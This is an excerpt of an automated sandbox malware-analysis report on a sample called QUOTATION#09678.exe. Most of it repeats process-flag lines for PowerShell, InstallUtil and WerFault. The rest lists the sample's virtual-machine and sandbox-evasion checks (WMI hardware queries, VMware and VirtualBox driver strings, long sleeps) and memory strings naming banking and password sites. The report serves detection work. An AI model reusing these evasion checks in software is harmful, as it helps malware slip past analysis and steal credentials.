Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: QUOTATION#09678.exe PID: 764, type: MEMORYSTR

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: QUOTATION#09678.exe, 00000000.00000002.2268426696.000002CC81774000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: QUOTATION#09678.exe, 00000000.00000002.2268426696.000002CC81774000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Memory allocated: 2CCFF0F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Memory allocated: 2CCFF1F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 1600000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 3060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 5060000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6343	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3334	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 2873	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 6865	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 320	Thread sleep time: -8301034833169293s >= -30000s			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7276	Thread sleep time: -33204139332677172s >= -30000s			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: Amcache.hve.10.dr	Binary or memory string: VMware
Source: tmpEF0A.tmp.5.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: QUOTATION#09678.exe, 00000000.00000002.2268426696.000002CC81774000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: tmpEF0A.tmp.5.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: tmpEF0A.tmp.5.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.10.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: QUOTATION#09678.exe, 00000000.00000002.2268426696.000002CC81774000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: QUOTATION#09678.exe, 00000000.00000002.2268426696.000002CC81774000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: tmpEF0A.tmp.5.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.10.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: tmpEF0A.tmp.5.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.10.dr	Binary or memory string: vmci.sys
Source: tmpEF0A.tmp.5.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: tmpEF0A.tmp.5.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: QUOTATION#09678.exe, 00000000.00000002.2268426696.000002CC81774000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: QUOTATION#09678.exe, 00000000.00000002.2268426696.000002CC81774000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: tmpEF0A.tmp.5.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: tmpEF0A.tmp.5.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: QUOTATION#09678.exe, 00000000.00000002.2268426696.000002CC81774000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: tmpEF0A.tmp.5.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Amcache.hve.10.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.10.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.10.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: tmpEF0A.tmp.5.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.10.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.10.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.10.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: QUOTATION#09678.exe, 00000000.00000002.2268426696.000002CC81774000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: QUOTATION#09678.exe, 00000000.00000002.2268426696.000002CC81774000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: Amcache.hve.10.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.10.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: tmpEF0A.tmp.5.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: tmpEF0A.tmp.5.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.10.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: tmpEF0A.tmp.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
